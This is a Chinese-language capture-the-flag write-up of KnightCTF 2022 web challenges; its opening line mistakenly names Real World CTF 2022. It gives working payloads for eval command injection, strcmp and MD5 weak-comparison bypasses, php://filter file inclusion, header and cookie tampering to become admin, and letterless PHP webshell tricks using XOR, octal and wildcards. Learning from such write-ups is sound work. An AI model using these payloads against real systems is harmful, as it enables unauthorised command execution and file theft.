Knight CTF 2022 WEB wp

前几天打了Real World CTF 2022，难度不大，脑洞很大...某些题确实只能靠积累和特征（狗头）

Sometimes you need to look wayback

这道题进去是个Discord.js的介绍界面，也没啥思路，所以看源码，发现注释：

<!--Test Bot Source Code: https://github.com/KCTF202x/repo101-->

去看源码，是js，本来想着审计一下，但是好像页面上也没有接口，就尝试看看历史版本，然后在历史提交记录中找到了flag...

长见识了

Do something special

一进页面，发现下面有个Get the flag!按钮，点一下提示404，观察到url有点奇怪

http://do-something-special.kshackzone.com/[email protected]_y#[email protected]_h3r3!

后面有一些特殊字符，猜测可能是特殊字符的问题，抓包看看

果然，访问的只是#号前面的url，这是因为#在url中代表的是锚点，也就是书签，用于定位到页面的特定位置，所以不会当做url访问。

只需要把#进行url编码%23即可

http://do-something-special.kshackzone.com/[email protected]_y%[email protected]_h3r3!

flag:KCTF{Sp3cial_characters_need_t0_get_Url_enc0ded}

Obsfuscation Isn't Enough

一进去是一个登录界面，随便输账号密码登录没反应，看源码，发现了一段奇怪的代码

function validate() {
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    }

这也是js代码的一种表达形式，叫做jsfuck，详细介绍可以参见JSFuck - 维基百科，自由的百科全书 (wikipedia.org)

简单来说，这就是js代码的一种表达形式，比如+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])就可以得出Infinity，而这个单词可以用于获取字母（取下标即可）。这样拼接就可以得出所有字母，但是这样得到的代码非常冗长...就是一种混淆的方式

直接找一个jsfuck解密网站解密：UserAgentInfo

解密成功，结果是：

if (document.forms[0].username.value == "83fe2a837a4d4eec61bd47368d86afd6" && document.forms[0].password.value == "a3fa67479e47116a4d6439120400b057") document.location = "150484514b6eeb1d99da836d95f6671d.php"

可以看到输入指定的账号密码之后就会转到150484514b6eeb1d99da836d95f6671d.php，那直接访问就好啦~

flag：KCTF{0bfuscat3d_J4v4Scr1pt_aka_JSFuck}

Zero is not the limit

一进去就显示了一个json数据

{
   "user1" : {
      "name" : "Jhon",
      "password" : "Jhon123",
      "id": 1
   },
   
   "user2" : {
      "name" : "Mark",
      "password" : "mark2468@",
      "id": 2
   },
   "user3" : {
      "name" : "Taison",
      "password" : "taisonalu@",
      "id": 3
   },
   "user4" : {
      "name" : "Json",
      "password" : "figmaonalu@",
      "id": 4
   },
   "user5" : {
      "name" : "Altaf",
      "password" : "altaf2489@",
      "id": 5
   }
   
}

题目提示Hint: You have to think out side from '/user/'.

看来有一个/user/文件夹，尝试访问/user/1/，回显user1的信息。

题目名字叫zero is not the limit，所以直接访问/user/-1/，出flag...

flag：KCTF{tHeRe_1s_n0_l1m1t}

Find Pass Code - 1

进去有个输入框，也不知道是干啥的，所以还是看源码，发现注释：
<!-- Hi Serafin, I learned something new today.I build this website for you to verify our KnightCTF 2022 pass code. You can view the source code by sending the source param-->

要传一个source参数，看到源码：

<?php
require "flag.php";
if (isset($_POST["pass_code"])) {
    if (strcmp($_POST["pass_code"], $flag) == 0 ) {
        echo "KCTF Flag : {$flag}";
    } else {
        echo "Oh....My....God. You entered the wrong pass code.<br>";
    }
}
if (isset($_GET["source"])) {
    print show_source(__FILE__);
}

?>

 

当这两个字符串相同的时候会返回0，但我们不知道flag是啥，但是strcmp是可以绕过的：

strcmp字符串比较绕过 | Crayon's blog (crayon-xin.github.io)

所以直接传数组就可以了

payload：POST pass_code[]=1

flag：KCTF{ShOuLd_We_UsE_sTrCmP_lIkE_tHaT}

Most Secure Calculator - 1

一进去是个计算器，第一反应就是SSTI，然后当我输入了{}之后，出现了这样的提示...

 

我有了个大胆的猜想，这该不会是个纯eval吧...

我战战兢兢地输入了system('ls');，执行成功...

啥也不说了，送分题。system('cat flag.txt');，搞定。

flag：KCTF{WaS_mY_cAlCuLaToR_sAfE}（当然不safe了...）

Can you be Admin?

这道题感觉有点脑洞（也可能是积累不够）

一开始显示Only KnightSquad agents can access this page.

agents是关键词，指向User-Agent请求头，抓包改成KnightSquad，出现新提示：

This page refers to knight squad home network. So, Only Knight Squad home network can access this page.

这句话应该是在说内网才能访问，这里确实不太好想。这句话指向的是Referer，Referer是指的来源，那么只要来源是localhost就可以是内网访问了（貌似127.0.0.1都不行）

然后页面上出现了一个登录框，依然是看源码（直接F12就行，如果右键看还需要发一次包），看到了注释

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解码网站解码（如果控制台直接弹是会报错的，需要把最后一对括号删掉，出来是unicode，直接alert弹也行），得到：

F`V,7DIIBn+?CWe@<,q!$?0EpF*DPCA0<oU8RZI/DJ<`sF8

这就纯靠特征了，不过也可以用basecrack自动判断一下：

mufeedvh/basecrack: Decode All Bases - Base Scheme Decoder (github.com)

解码成功，内容是

username : tareq
password : IamKnight

填入，提交，抓包改header，得到了一个Normal User页面

看response里面有一个Set-Cookie

Set-Cookie: VXNlcl9UeXBl=Tm9ybWFsX1VzZXI%3D

先urldecode再base64解码，得到User_Type=Normal_User，直接改成Admin，base64编码再url编码，放到cookie里面再访问，得到Admin页面和flag

flag：KCTF{FiN4LlY_y0u_ar3_4dm1N}

My PHP Site

进去是个欢迎页面，但是url里面有个file=index.html参数很有意思，这道题说了是php，那估计file就是读文件的参数，所以试着换成index.php，显示ERROR!!，应该有过滤，那就用php://filter绕过，?file=php://filter/convert.base64-encode/resource=index.php，得到源码：

<?php

if(isset($_GET['file'])){
    if ($_GET['file'] == "index.php") {
        echo "<h1>ERROR!!</h1>";
        die();
    }else{
        include $_GET['file'];
    }

}else{
    echo "<h1>You are missing the file parameter</h1>";

    #note :- secret location /home/tareq/s3crEt_fl49.txt
}

?>

 

然而如果你直接?file=/home/tareq/s3crEt_fl49.txt是会提示找不到的。直接?file=s3crEt_fl49.txt就可以了（我也不知道为什么要在这里玩我们一把...）

flag：KCTF{L0C4L_F1L3_1ncLu710n}

Bypass!! Bypass!! Bypass!!

进去直接403Forbidden，应该是有验证，看源码发现注释（话说好像出题人很喜欢这么给提示）

<!-- generats auth token -> /api/request/auth_token -->

直接访问，提示Method Not Allowed，换POST，得到auth_token，但是放到哪里呢？

这时候就需要一点经验了。很多时候你以为是黑盒测试，其实可以是白盒...

github搜索/api/request/auth_token，在code结果里面你会发现这样一段代码

这就是相关代码，审计代码发现需要在X-Authorized-For请求头里面写auth_token，抓包改header发请求，跟踪重定向，在最终页面中发现flag

flag：KCTF{cOngRatUlaT10Ns_wElCoMe_t0_y0ur_daShBoaRd}

Find Pass Code - 2

仍然进去直接看源码，注释：

<!-- Hi Serafin, I think you already know how you can view the source code :P-->

传source参数拿到源码

<?php
require "flag.php";
$old_pass_codes = array("0e215962017", "0e730083352", "0e807097110", "0e840922711");
$old_pass_flag = false;
if (isset($_POST["pass_code"]) && !is_array($_POST["pass_code"])) {
    foreach ($old_pass_codes as $old_pass_code) {
        if ($_POST["pass_code"] === $old_pass_code) {
            $old_pass_flag = true;
            break;
        }
    }
    if ($old_pass_flag) {
        echo "Sorry ! It's an old pass code.";
    } else if ($_POST["pass_code"] == md5($_POST["pass_code"])) {
        echo "KCTF Flag : {$flag}";
    } else {
        echo "Oh....My....God. You entered the wrong pass code.<br>";
    }
}
if (isset($_GET["source"])) {
    print show_source(__FILE__);
}

?>

 

关键判定是这一句

else if ($_POST["pass_code"] == md5($_POST["pass_code"])) { echo "KCTF Flag : {$flag}";}

也就是说要找到一个字符串满足$a==md5($a)，是弱相等，所以考虑都是0e开头，参考关于php弱类型--MD5

脚本我没跑，随便选一个直接用就好。

payload：POST:pass_code=0e00275209979

flag：KCTF{ShOuD_wE_cOmPaRe_MD5_LiKe_ThAt__Be_SmArT}

Most Secure Calculator - 2

又是计算器，但是应该有变化，先看看源码，发现注释：

The calculator accepts only numbers and symbols.I have hidden some interesting things in flag.txt and I know you can create an interesting equation to read that file.

把字母全都过滤了，考的是无字母webshell

1.发现异或没被过滤，可以用异或进行绕过，原理就是两个字符异或是它们的ascii二进制码进行按位异或，得到的结果再对应字符

这里有一个经验：最好用三个字符进行异或，这样就可以用两个相同的字符造出%00，%00与任意字符异或都是这个字符本身。这样，就可以直接使用那些没被过滤的字符了。

选择一个字符为基准，我选择的是'0'，我用的构造脚本：

<?php
$str="";
for($i=32;$i<=64;$i++)
{
    $str .= chr($i);
}
for($i=91;$i<=94;$i++)
{
    $str .= chr($i);
}
$str .= '`';
for($i=123;$i<=126;$i++)
{
    $str .= chr($i);
}
print_r($str);
for($i=0;$i<strlen($str);$i++)
{
    for($j=0;$j<strlen($str);$j++)
    {
        echo $str[$i],' ',$str[$j],' ','0'^$str[$i]^$str[$j];//三个可以造出%00，从而直接使用未被过滤的字符
        echo "\n";
    }
}

然后在里面选就可以了，我的payload：
("@@@@@@"^"3934%-")('00000'^'(*800'^'{{| *')

system('cat *');
2.利用八进制

php可以识别8进制和16进制，8进制需要在8进制ascii码前面加上\，十六进制需要加上\x

payload：("\162\145\141\144\146\151\154\145")("\146\154\141\147\56\164\170\164")

readfile('flag.txt')

3.利用通配符

这道题没有禁止?、/和`，那就还有一个思路，直接用?匹配命令和文件名，然后用反引号进行执行

payload：`/???/??? ????.???`（你会在结尾看到flag的~）

姿势很多，自行探索~